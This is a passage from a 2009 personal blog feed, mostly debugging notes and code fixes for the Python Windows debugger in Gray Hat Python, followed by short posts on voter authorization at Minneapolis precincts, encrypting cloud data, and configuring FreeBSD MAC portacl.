prematurely. And, we'll set self.h_thread, so it's in the instance itself.&lt;br /&gt;&lt;br /&gt;And, here's the run:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Enter the PID of the process to attach to: 3000&lt;br /&gt;[*] Address of printf: 0x77c4186a&lt;br /&gt;Event Code: 3 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 6 Thread ID: 3008&lt;br /&gt;Event Code: 2 Thread ID: 1444&lt;br /&gt;Event Code: 1 Thread ID: 1444&lt;br /&gt;[*] Exception address: 0x7c90120e&lt;br /&gt;[*] Hit the first breakpoint.&lt;br /&gt;Event Code: 4 Thread ID: 1444&lt;br /&gt;Event Code: 1 Thread ID: 3008&lt;br /&gt;Traceback (most recent call last):&lt;br /&gt;  File "C:\Documents and Settings\Administrator\workspace\Grey Hat Python\src\my_test.py", line 21, in &lt;module&gt;&lt;br /&gt;    debugger.run()&lt;br /&gt;  File "C:\Documents and Settings\Administrator\workspace\Grey Hat Python\src\my_debugger.py", line 90, in run&lt;br /&gt;    self.get_debug_event()&lt;br /&gt;  File "C:\Documents and Settings\Administrator\workspace\Grey Hat Python\src\my_debugger.py", line 125, in get_debug_event&lt;br /&gt;    self.exception_handler_single_step()&lt;br /&gt;  File "C:\Documents and Settings\Administrator\workspace\Grey Hat Python\src\my_debugger.py", line 343, in exception_handler_single_step&lt;br /&gt;    continue_status = DBG_EXCEPTION_NOT_HANDLED&lt;br /&gt;NameError: global name 'DBG_EXCEPTION_NOT_HANDLED' is not defined&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;DBG_EXCEPTION_NOT_HANDLED is not defined in my_debugger_defines.  Put this below DBG_CONTINUE:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;DBG_EXCEPTION_NOT_HANDLED          = 0x80010001&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Oh, also since you see my path, I'm running this in a VM, hence Administrator running all of this.  Why not?! :-)&lt;br /&gt;&lt;br /&gt;Next run:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Enter the PID of the process to attach to: 3068&lt;br /&gt;[*] Address of printf: 0x77c4186a&lt;br /&gt;Event Code: 3 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 6 Thread ID: 3076&lt;br /&gt;Event Code: 2 Thread ID: 3140&lt;br /&gt;Event Code: 1 Thread ID: 3140&lt;br /&gt;[*] Exception address: 0x7c90120e&lt;br /&gt;[*] Hit the first breakpoint.&lt;br /&gt;Event Code: 4 Thread ID: 3140&lt;br /&gt;Event Code: 1 Thread ID: 3076&lt;br /&gt;Traceback (most recent call last):&lt;br /&gt;  File "C:\Documents and Settings\Administrator\workspace\Grey Hat Python\src\my_test.py", line 21, in &lt;module&gt;&lt;br /&gt;    debugger.run()&lt;br /&gt;  File "C:\Documents and Settings\Administrator\workspace\Grey Hat Python\src\my_debugger.py", line 90, in run&lt;br /&gt;    self.get_debug_event()&lt;br /&gt;  File "C:\Documents and Settings\Administrator\workspace\Grey Hat Python\src\my_debugger.py", line 125, in get_debug_event&lt;br /&gt;    self.exception_handler_single_step()&lt;br /&gt;  File "C:\Documents and Settings\Administrator\workspace\Grey Hat Python\src\my_debugger.py", line 346, in exception_handler_single_step&lt;br /&gt;    if self.bp_del_hw(slot):&lt;br /&gt;UnboundLocalError: local variable 'slot' referenced before assignment&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Here's the code snippet:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;        if self.context.Dr6 &amp; 0x1 and self.hardware_breakpoints.has_key(0):&lt;br /&gt;            slot = 0&lt;br /&gt;        elif self.context.Dr6 &amp; 0x2 and self.hardware_breakpoints.has_key(1):&lt;br /&gt;            slot = 1&lt;br /&gt;        elif self.context.Dr6 &amp; 0x4 and self.hardware_breakpoints.has_key(2):&lt;br /&gt;            slot = 2&lt;br /&gt;        elif self.context.Dr6 &amp; 0x8 and self.hardware_breakpoints.has_key(3):&lt;br /&gt;            slot = 3&lt;br /&gt;        else:&lt;br /&gt;            # This wasn't an INT1 generated by a hw breakpoint&lt;br /&gt;            continue_status = DBG_EXCEPTION_NOT_HANDLED&lt;br /&gt;        &lt;br /&gt;        # now let's remove the breakpoint from the list&lt;br /&gt;        if self.bp_del_hw(slot):&lt;br /&gt;            continue_status = DBG_CONTINUE&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;I'm troubleshooting this.  Throwing a print in there shows Dr6 as 4294905840 / 0xFFFF0FF0, which is the power-up state [1].  So, we're at 0, which seems to me that the register is not being set.  Also, this shows a coding error.  The conditional does not set slot and assumes 'slot' it's set.  I'll ignore that issue.  But, now, I gotta take off...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[1] &lt;a href="http://www.intel.com/Assets/PDF/manual/253668.pdf"&gt;Intel® 64 and IA-32 Architectures Software Developer's Manual Volume 3A: System Programming Guide&lt;/a&gt;, Table 9-1&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-311686561699591197?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/311686561699591197/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=311686561699591197' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/311686561699591197'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/311686561699591197'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/08/gray-hat-python-chapter-342-love-part-1.html' title='Gray Hat Python Chapter 3.4.2 Love, Part 1 (and some 3.4.1 pillow talk)'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-2446132350803311507</id><published>2009-07-30T11:43:00.006-06:00</published><updated>2009-07-30T12:58:15.553-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gray hat python'/><category scheme='http://www.blogger.com/atom/ns#' term='errata'/><title type='text'>Gray Hat Python Chapter 3.4.1 Love</title><content type='html'>Here are some fixes for Chapter 3.4 in &lt;a href="http://nostarch.com/ghpython.htm"&gt;Gray Hat Python&lt;/a&gt;.  I have applied the &lt;a href="http://nostarch.com/ghpython_updates.htm"&gt;updates / errata&lt;/a&gt; to the book to my_debugger.py but some minor info is not present.&lt;br /&gt;&lt;br /&gt;Here's the code so far for exception_handler_breakpoint():&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;    def exception_handler_breakpoint(self):&lt;br /&gt;        &lt;br /&gt;        print "[*] Inside the breakpoint handler."&lt;br /&gt;        print "Exception Address: 0x%08x" % self.exception_address&lt;br /&gt;        return DBG_CONTINUE&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The &lt;a href="http://nostarch.com/download/ghpython_src.zip"&gt;source&lt;/a&gt; has this for the function, though:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;   def exception_handler_breakpoint(self):&lt;br /&gt;       print "[*] Exception address: 0x%08x" % self.exception_address&lt;br /&gt;       # check if the breakpoint is one that we set&lt;br /&gt;       if not self.breakpoints.has_key(self.exception_address):&lt;br /&gt;         &lt;br /&gt;               # if it is the first Windows driven breakpoint&lt;br /&gt;               # then let's just continue on&lt;br /&gt;               if self.first_breakpoint == True:&lt;br /&gt;                  self.first_breakpoint = False&lt;br /&gt;                  print "[*] Hit the first breakpoint."&lt;br /&gt;                  return DBG_CONTINUE&lt;br /&gt;             &lt;br /&gt;       else:&lt;br /&gt;           print "[*] Hit user defined breakpoint."&lt;br /&gt;           # this is where we handle the breakpoints we set&lt;br /&gt;           # first put the original byte back&lt;br /&gt;           self.write_process_memory(self.exception_address, self.breakpoints[self.exception_address])&lt;br /&gt;&lt;br /&gt;           # obtain a fresh context record, reset EIP back to the&lt;br /&gt;           # original byte and then set the thread's context record&lt;br /&gt;           # with the new EIP value&lt;br /&gt;           self.context = self.get_thread_context(h_thread=self.h_thread)&lt;br /&gt;           # self.context.Eip -= 1&lt;br /&gt;          &lt;br /&gt;           kernel32.SetThreadContext(self.h_thread,byref(self.context))&lt;br /&gt;          &lt;br /&gt;           continue_status = DBG_CONTINUE&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       return continue_status&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;No other changes are made to exception_handler_breakpoint() anywhere else in Chapter 3, outside of page 42.  So, my guess is that the function updates / changes were not fully printed.&lt;br /&gt;&lt;br /&gt;Well, not so quite.  Adding just all of that text causes an error in self.first_breakpoint.  That property is defined on pg. 48.  Also define first_breakpoint in __init__ for debugger():&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;class debugger():&lt;br /&gt;    def __init__(self):&lt;br /&gt;        self.h_process      = None&lt;br /&gt;        self.pid            = None&lt;br /&gt;        self.debugger_active    = False&lt;br /&gt;        self.h_thread       = None&lt;br /&gt;        self.context        = None&lt;br /&gt;        self.exception      = None&lt;br /&gt;        self.exception_address  = None&lt;br /&gt;        self.breakpoints    = {}&lt;br /&gt;        self.first_breakpoint = True&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Almost out of the woods...&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Enter the PID of the process to attach to: 2216&lt;br /&gt;[*] Address of printf: 0x77c4186a&lt;br /&gt;Event Code: 3 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 6 Thread ID: 3340&lt;br /&gt;Event Code: 2 Thread ID: 3372&lt;br /&gt;Event Code: 1 Thread ID: 3372&lt;br /&gt;[*] Exception address: 0x7c90120e&lt;br /&gt;[*] Hit the first breakpoint.&lt;br /&gt;Event Code: 4 Thread ID: 3372&lt;br /&gt;Event Code: 1 Thread ID: 3340&lt;br /&gt;[*] Exception address: 0x77c4186a&lt;br /&gt;[*] Hit user defined breakpoint.&lt;br /&gt;Traceback (most recent call last):&lt;br /&gt;  File "C:\Documents and Settings\Administrator\workspace\Grey Hat Python\src\my_test.py", line 20, in &lt;module&gt;&lt;br /&gt;    debugger.run()&lt;br /&gt;  File "C:\Documents and Settings\Administrator\workspace\Grey Hat Python\src\my_debugger.py", line 89, in run&lt;br /&gt;    self.get_debug_event()&lt;br /&gt;  File "C:\Documents and Settings\Administrator\workspace\Grey Hat Python\src\my_debugger.py", line 118, in get_debug_event&lt;br /&gt;    continue_status = self.exception_handler_breakpoint()&lt;br /&gt;  File "C:\Documents and Settings\Administrator\workspace\Grey Hat Python\src\my_debugger.py", line 205, in exception_handler_breakpoint&lt;br /&gt;    self.context.Eip -= 1&lt;br /&gt;AttributeError: 'bool' object has no attribute 'Eip'&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;It looks like self.context.Eip is causing some grief.  Looking ahead, it looks like it's covered on page 48.  Comment out the following:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;           self.context = self.get_thread_context(h_thread=self.h_thread)&lt;br /&gt;           self.context.Eip -= 1&lt;br /&gt;          &lt;br /&gt;           kernel32.SetThreadContext(self.h_thread,byref(self.context))&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;So now the handler looks like this:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;    def exception_handler_breakpoint(self):&lt;br /&gt;       print "[*] Exception address: 0x%08x" % self.exception_address&lt;br /&gt;              # check if the breakpoint is one that we set&lt;br /&gt;       if not self.breakpoints.has_key(self.exception_address):&lt;br /&gt;         &lt;br /&gt;               # if it is the first Windows driven breakpoint&lt;br /&gt;               # then let's just continue on&lt;br /&gt;               if self.first_breakpoint == True:&lt;br /&gt;                  self.first_breakpoint = False&lt;br /&gt;                  print "[*] Hit the first breakpoint."&lt;br /&gt;                  return DBG_CONTINUE&lt;br /&gt;             &lt;br /&gt;       else:&lt;br /&gt;           print "[*] Hit user defined breakpoint."&lt;br /&gt;           # this is where we handle the breakpoints we set&lt;br /&gt;           # first put the original byte back&lt;br /&gt;           self.write_process_memory(self.exception_address, self.breakpoints[self.exception_address])&lt;br /&gt;&lt;br /&gt;           # obtain a fresh context record, reset EIP back to the&lt;br /&gt;           # original byte and then set the thread's context record&lt;br /&gt;           # with the new EIP value&lt;br /&gt;           #self.context = self.get_thread_context(h_thread=self.h_thread)&lt;br /&gt;           #self.context.Eip -= 1&lt;br /&gt;          &lt;br /&gt;           #kernel32.SetThreadContext(self.h_thread,byref(self.context))&lt;br /&gt;          &lt;br /&gt;           continue_status = DBG_CONTINUE&lt;br /&gt;        &lt;br /&gt;       return continue_status&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Seems decent:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Enter the PID of the process to attach to: 3744&lt;br /&gt;[*] Address of printf: 0x77c4186a&lt;br /&gt;Event Code: 3 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 6 Thread ID: 3712&lt;br /&gt;Event Code: 2 Thread ID: 3660&lt;br /&gt;Event Code: 1 Thread ID: 3660&lt;br /&gt;[*] Exception address: 0x7c90120e&lt;br /&gt;[*] Hit the first breakpoint.&lt;br /&gt;Event Code: 4 Thread ID: 3660&lt;br /&gt;Event Code: 1 Thread ID: 3712&lt;br /&gt;[*] Exception address: 0x77c4186a&lt;br /&gt;[*] Hit user defined breakpoint.&lt;br /&gt;Event Code: 1 Thread ID: 3712&lt;br /&gt;Event Code: 1 Thread ID: 3712&lt;br /&gt;Event Code: 1 Thread ID: 3712&lt;br /&gt;[...]&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;For the anally-included, change bp_set() in my_debugger.py from&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;    def bp_set(self,address):&lt;br /&gt;        if not self.breakpoints.has_key(address):&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;to&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;    def bp_set(self,address):&lt;br /&gt;        print "[*] Setting breakpoint at: 0x%08x" % address&lt;br /&gt;        if not self.breakpoints.has_key(address):&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-2446132350803311507?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/2446132350803311507/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=2446132350803311507' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/2446132350803311507'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/2446132350803311507'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/07/gray-hat-python-chapter-341-love.html' title='Gray Hat Python Chapter 3.4.1 Love'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-3052369201284609883</id><published>2009-06-15T14:29:00.003-06:00</published><updated>2009-06-15T15:01:55.740-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pki'/><category scheme='http://www.blogger.com/atom/ns#' term='authorization'/><category scheme='http://www.blogger.com/atom/ns#' term='minneapolis'/><category scheme='http://www.blogger.com/atom/ns#' term='authentication'/><category scheme='http://www.blogger.com/atom/ns#' term='minnesota elections'/><title type='text'>Elections: Authentication and Authorization</title><content type='html'>I jumped into a &lt;a href="http://twitter.com/s7ephen/status/2182108964"&gt;tweet discussion&lt;/a&gt; by &lt;a href="http://twitter.com/s7ephen"&gt;@s7ephen&lt;/a&gt; on using a PKI-esque way of strengthening the election process.&lt;br /&gt;&lt;br /&gt;@s7ephen mentions &lt;a href="http://twitter.com/s7ephen/statuses/2182664971"&gt;this&lt;/a&gt; in the "thread":&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;a href="http://twitter.com/cykyc"&gt;@cykyc&lt;/a&gt; hrm yea, I guess I am more thinking it solves a small part of "authentication" but mostly overtrust of polling locations and machines&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I have been an&lt;a href="http://www.sos.state.mn.us/home/index.asp?page=585"&gt; elections judge&lt;/a&gt; (currently a Chair Judge) for the City of Minneapolis since 2004.  Minneapolis breaks down polling areas into &lt;a href="http://www.ci.minneapolis.mn.us/about/maps/wards-precincts.asp"&gt;wards (high level) and precincts (low levels)&lt;/a&gt;.  The magic happens at the precinct.&lt;br /&gt;&lt;br /&gt;The first task is to authorize the voter.  That is, is the voter in the right precinct to vote?  It is against the law in MN &lt;a href="https://www.revisor.leg.state.mn.us/statutes/?id=201.016&amp;year=2008"&gt;to&lt;/a&gt; &lt;a href="https://www.revisor.leg.state.mn.us/statutes/?id=204C.14&amp;year=2008"&gt;vote&lt;/a&gt; in the wrong precinct, so this is a good thing :-)  The authorization process usually starts out by seeing if the voter knows if she is in the right location.  If the voter thinks so, a roster book is consulted. The election judge then asks the voter her name and address.  If there is a match, that voter is authorized to vote in that precinct.  If not, see Same Day Registration process (not documented here :-)&lt;br /&gt;&lt;br /&gt;The voter then signs the roster, which attests an oath, that the voter is not up to any shenanigans and such.&lt;br /&gt;&lt;br /&gt;Note: the voter did not authenticate herself at any time.&lt;br /&gt;&lt;br /&gt;Deterrents, trust, and possible knowledge by election judges are the mitigating controls in lieu of authentication for MN.&lt;br /&gt;&lt;br /&gt;So, sadly, we don't authenticate in the first place, unless the name is not on the roster.  For my precinct, that means that 90% of the individuals would not be served by having a strong auth solution in place, such as PKI.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-3052369201284609883?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/3052369201284609883/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=3052369201284609883' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3052369201284609883'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3052369201284609883'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/06/elections-authentication-and.html' title='Elections: Authentication and Authorization'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-3403462141249889759</id><published>2009-06-15T13:49:00.003-06:00</published><updated>2009-06-15T14:01:49.151-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='infosec'/><category scheme='http://www.blogger.com/atom/ns#' term='cloud'/><category scheme='http://www.blogger.com/atom/ns#' term='encryption'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='pgp'/><title type='text'>Changing Infosec Problems</title><content type='html'>I saw &lt;a href="http://twitter.com/falconsview"&gt;falconsview&lt;/a&gt; 's &lt;a href="http://www.secureconsulting.net/2009/06/sometimes_changing_the_problem.html"&gt;blog update&lt;/a&gt; today on changing the problem.  It's a good read.  I would have posted my comments to it in his blog, but it required authentication and it's easier for me to post my reply here than manage another credential elsewhere :-)&lt;br /&gt;&lt;br /&gt;I concur with his thoughts on transforming cloud security into a different problem, such as encryption:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Here's what I don't understand: why are we not talking at length about data encryption? Do you want to eliminate or transform a key set of concerns about putting data out in "the cloud" (whatever the heck that is)? Encrypt the data. Encrypt it as close to the source as possible, and only decrypt it temporarily at the point closest to the instance that requires the clear data for use. Never have cleartext data in storage, ever, ever, ever.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;While encryption has its own issues, it moves the problem from a discretionary access control issue (i.e. the code controls who accesses what) to a more mandatory access control issue (i.e. only those with secret knowledge can access the data).  This isn't foolproof by any means, since securing private secrets by humans sucks. At &lt;a href="http://www.hursk.com"&gt;Hursk&lt;/a&gt;, we thought about this during the design of a password cracking service.  PGP encrypt the output of the file using an escrow key and also the user's key.  Even if the user had an XSS problem in their browser, the attacker would still have to get the passphrase for either the escrow key, the passphrase for the user's private key, or system access to the service running john or whatever on the cleartext password file.  &lt;br /&gt;&lt;br /&gt;But, utilizing encryption this way still has basically a PKI-esque problem to deal with.  So, yeah, the problem is transformed, but in no means have it been solved.&lt;br /&gt;&lt;br /&gt;Maybe all of these problems are NP-hard. We're finding out that yeah, we can transform them to a different problem, but in the end, all the problems we transform them into really are difficult to solve :-)&lt;br /&gt;&lt;br /&gt;But, please, &lt;a href="http://www.matasano.com/log/251/oh-meebo/"&gt;don't&lt;/a&gt; &lt;a href="http://lists.immunitysec.com/pipermail/dailydave/2009-May/005744.html"&gt;do&lt;/a&gt; encryption in the browser.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-3403462141249889759?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/3403462141249889759/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=3403462141249889759' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3403462141249889759'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3403462141249889759'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/06/changing-infosec-problems.html' title='Changing Infosec Problems'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-6811273883295946299</id><published>2009-05-28T08:19:00.013-06:00</published><updated>2009-05-28T12:58:00.681-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='jails'/><category scheme='http://www.blogger.com/atom/ns#' term='freebsd'/><category scheme='http://www.blogger.com/atom/ns#' term='sourcehosting'/><category scheme='http://www.blogger.com/atom/ns#' term='sysadmin'/><title type='text'>MAC_PORTACL and no love</title><content type='html'>OK, starting to get a bit frustrated.  Running 7.2 on a Xen system at &lt;a href="http://www.rootbsd.com"&gt;RootBSD&lt;/a&gt;. I am trying to test &lt;a href="http://www.freebsd.org/doc/en/books/handbook/mac-portacl.html"&gt;MAC portacl&lt;/a&gt; with some user-ran jail scenarios.  To get it running, since 7.2 does not come with options MAC enabled by default was to rebuild the kernel.  I did the following:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# MAC kernel config&lt;br /&gt;grep -v '^#' /usr/src/sys/i386/conf/MAC&lt;br /&gt;&lt;br /&gt;include  GENERIC&lt;br /&gt;ident   MACWO&lt;br /&gt;&lt;br /&gt;options  MAC&lt;br /&gt;&lt;br /&gt;# compile &amp; install&lt;br /&gt;cd /usr/src&lt;br /&gt;make buildkernel KERNCONF=MAC&lt;br /&gt;make installkernel KERNCONF=MAC KODIR=/boot/mac&lt;br /&gt;&lt;br /&gt;# loader changes&lt;br /&gt;cat /boot/loader.conf&lt;br /&gt;kern.hz="100"&lt;br /&gt;mac_portacl_load="YES"&lt;br /&gt;&lt;br /&gt;# and reboot&lt;br /&gt;nextboot -k mac&lt;br /&gt;reboot&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Everything compiled successfully and the reboot occurred.  Here's the next steps:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;[2136] ~&gt; uname -i&lt;br /&gt;MACWO&lt;br /&gt;[2136] ~&gt; kldstat&lt;br /&gt;Id Refs Address    Size     Name&lt;br /&gt; 1    5 0xc0400000 a11198   kernel&lt;br /&gt; 2    1 0xc0e12000 3ad8     mac_portacl.ko&lt;br /&gt; 3    1 0xc27fe000 4000     nullfs.ko&lt;br /&gt; 4    1 0xc2834000 4000     fdescfs.ko&lt;br /&gt;[2136] ~&gt; sysctl -a security.mac&lt;br /&gt;security.mac.max_slots: 4&lt;br /&gt;security.mac.version: 3&lt;br /&gt;security.mac.mmap_revocation_via_cow: 0&lt;br /&gt;security.mac.mmap_revocation: 1&lt;br /&gt;security.mac.portacl.rules: &lt;br /&gt;security.mac.portacl.port_high: 1023&lt;br /&gt;security.mac.portacl.autoport_exempt: 1&lt;br /&gt;security.mac.portacl.suser_exempt: 1&lt;br /&gt;security.mac.portacl.enabled: 1                   &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;So, it seems the correct kernel is in use, the portacl module is loaded, and some default sysctl are enabled.  Now, let's get a new rule setup to allow my account to run something on 80/TCP:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;[2136] ~&gt; id&lt;br /&gt;uid=1001(foo) gid=0(wheel) groups=0(wheel)&lt;br /&gt;[2136] ~&gt; sudo sysctl security.mac.portacl.rules=uid:1001:tcp:80&lt;br 